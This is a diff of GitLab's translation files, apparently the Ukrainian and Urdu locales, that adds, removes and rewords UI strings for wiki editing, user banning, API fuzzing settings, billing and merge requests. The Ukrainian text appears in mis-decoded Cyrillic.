msgid "We have found the following errors:"
msgstr "Ми виÑвили наÑтупні помилки:"
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -36233,9 +36943,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr "Ми не виÑвили вразливоÑтей"
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr "Веб-IDE"
@@ -36263,16 +36970,16 @@ msgstr "Запит на злиттÑ"
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -36305,9 +37012,6 @@ msgstr "Допомога по веб-хукам"
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr "Веб-хук дозволÑÑ” вам викликати URL Ñкщо, наприклад, був відправлений новий код або Ñтворено нову задачу. Ви можете налаштувати його так, щоб він реагував на певні події (відправки коду, задачі або запити на злиттÑ). Групові веб-хуки заÑтоÑовуютьÑÑ Ð´Ð¾ вÑÑ–Ñ… проєктів в групі Ñ– дозволÑÑŽÑ‚ÑŒ вам Ñтандартизувати Ñ—Ñ… Ð´Ð»Ñ Ð²Ñієї вашої групи."
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36552,6 +37256,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr "Вікі"
@@ -36660,6 +37367,12 @@ msgstr "Видалити Ñторінку %{pageTitle}?"
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36678,12 +37391,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36693,6 +37412,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36714,9 +37439,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr "Ðапишіть текÑÑ‚ або перетÑгніть файли Ñюди…"
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr "Вікі"
@@ -36885,6 +37607,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -37089,6 +37814,9 @@ msgstr "Ви не можете запиÑувати на вторинні інÑ
msgid "You cannot write to this read-only GitLab instance."
msgstr "Ви не можете запиÑувати на цей \"тільки Ð´Ð»Ñ Ñ‡Ð¸Ñ‚Ð°Ð½Ð½Ñ\" інÑÑ‚Ð°Ð½Ñ GitLab."
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr "Ви не змогли Ñтворити новий тригер."
@@ -37200,9 +37928,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37485,10 +38219,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr "Ваші ключі SSH (%{count})"
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37527,6 +38261,9 @@ msgstr "Ваші заÑтоÑунки (%{size})"
msgid "Your authorized applications"
msgstr "Ваші авторизовані заÑтоÑунки"
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr "Ваш браузер не підтримує U2F. Будь лаÑка, викориÑтовйте Google Chrome Ð´Ð»Ñ ÐºÐ¾Ð¼Ð¿'ютера (верÑÑ–ÑŽ 41 або новішу)."
@@ -37557,9 +38294,6 @@ msgstr "Ðе вдалоÑÑ Ð¾Ð½Ð¾Ð²Ð¸Ñ‚Ð¸ ваш коментар! Переві
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr "Ваша панель ÐºÐµÑ€ÑƒÐ²Ð°Ð½Ð½Ñ Ð±ÑƒÐ»Ð° Ñкопійована. Ви можете %{web_ide_link_start}відредагувати Ñ—Ñ— тут%{web_ide_link_end}."
@@ -37759,9 +38493,6 @@ msgstr ""
msgid "already shared with this group"
msgstr "вже доÑтупний в цій групі"
-msgid "among other things"
-msgstr "тощо"
-
msgid "and"
msgstr "Ñ–"
@@ -38099,6 +38830,45 @@ msgstr ""
msgid "closed issue"
msgstr "закрита задача"
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -38287,7 +39057,7 @@ msgid "for this project"
msgstr "Ð´Ð»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ проєкту"
msgid "fork"
-msgstr ""
+msgstr "форк"
msgid "fork this project"
msgstr "зробити форк цього проєкту"
@@ -38350,6 +39120,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr "https://your-bitbucket-server"
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr "Ñ€Ñ–Ð·Ð½Ð¸Ñ†Ñ Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ"
@@ -38429,8 +39202,8 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
-msgstr "лише Ð´Ð»Ñ Ñ‡Ð¸Ñ‚Ð°Ð½Ð½Ñ"
+msgid "is read-only"
+msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
msgstr "Ñ” занадто довгим (%{current_value}). МакÑимальний розмір Ñкладає %{max_size}."
@@ -38532,6 +39305,9 @@ msgstr[1] "запити на злиттÑ"
msgstr[2] "запитів на злиттÑ"
msgstr[3] "запитів на злиттÑ"
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38542,7 +39318,7 @@ msgid "missing"
msgstr "відÑутні"
msgid "more information"
-msgstr ""
+msgstr "детальніше"
msgid "most recent deployment"
msgstr "оÑтаннє розгортаннÑ"
@@ -38592,9 +39368,6 @@ msgstr "Додано до ланцюжка змін"
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr "ДозволÑÑ” коміти від учаÑників, Ñкі можуть зливати до цільової гілки"
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr "Під Ñ‡Ð°Ñ Ð²Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ Ð²Ð°ÑˆÐ¾Ð³Ð¾ Ð·Ð°Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°."
@@ -38622,12 +39395,9 @@ msgstr "Затверджено"
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
+msgid "mrWidget|Cancel"
msgstr ""
-msgid "mrWidget|Cancel automatic merge"
-msgstr "СкаÑувати автоматичне злиттÑ"
-
msgid "mrWidget|Check out branch"
msgstr "Перейти в гілку"
@@ -38667,9 +39437,6 @@ msgstr "Ðе вдалоÑÑ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶Ð¸Ñ‚Ð¸ ÑтатиÑтику розг
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr "Fast-forward Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð½ÐµÐ¼Ð¾Ð¶Ð»Ð¸Ð²Ðµ. Ð”Ð»Ñ Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ñ†ÑŒÐ¾Ð³Ð¾ запиту, Ñпочатку виконайте локальний rebase."
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr "Якщо гілка %{missingBranchName} Ñ–Ñнує у вашому локальному репозиторії, то ви можете заÑтоÑувати цей запит на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð²Ñ€ÑƒÑ‡Ð½Ñƒ за допомогою командного Ñ€Ñдка"
@@ -38685,12 +39452,18 @@ msgstr "Ð—Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ ÑтатиÑтики розгортаннÑ"
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr "Згадки"
msgid "mrWidget|Merge"
msgstr "ЗлиттÑ"
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr "Ð—Ð»Ð¸Ñ‚Ñ‚Ñ Ð¿Ñ€Ð¾Ð¹ÑˆÐ»Ð¾ невдало."
@@ -39035,7 +39808,7 @@ msgid "project members"
msgstr "учаÑники проєкту"
msgid "project name"
-msgstr ""
+msgstr "назва проєкту"
msgid "projects"
msgstr "проєкти"
@@ -39104,6 +39877,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr "помилка при Ñтворенні запиту на злиттÑ"
@@ -39227,6 +40006,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr "цей документ"
@@ -39237,7 +40019,7 @@ msgid "this issue cannot be made public since it belongs to a confidential epic"
msgstr ""
msgid "time summary"
-msgstr ""
+msgstr "підÑумок чаÑу"
msgid "to automatically add approvers based on file paths and file types."
msgstr ""
@@ -39373,5 +40155,5 @@ msgid "yaml invalid"
msgstr "yaml недійÑний"
msgid "your settings"
-msgstr ""
+msgstr "ваші налаштуваннÑ"
diff --git a/locale/ur_PK/gitlab.po b/locale/ur_PK/gitlab.po
index 46e0d878f9a..71771813051 100644
--- a/locale/ur_PK/gitlab.po
+++ b/locale/ur_PK/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ur-PK\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:10\n"
+"PO-Revision-Date: 2021-06-01 20:19\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1364,6 +1372,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2330,9 +2350,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2420,6 +2431,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2570,6 +2605,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5004,6 +5069,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
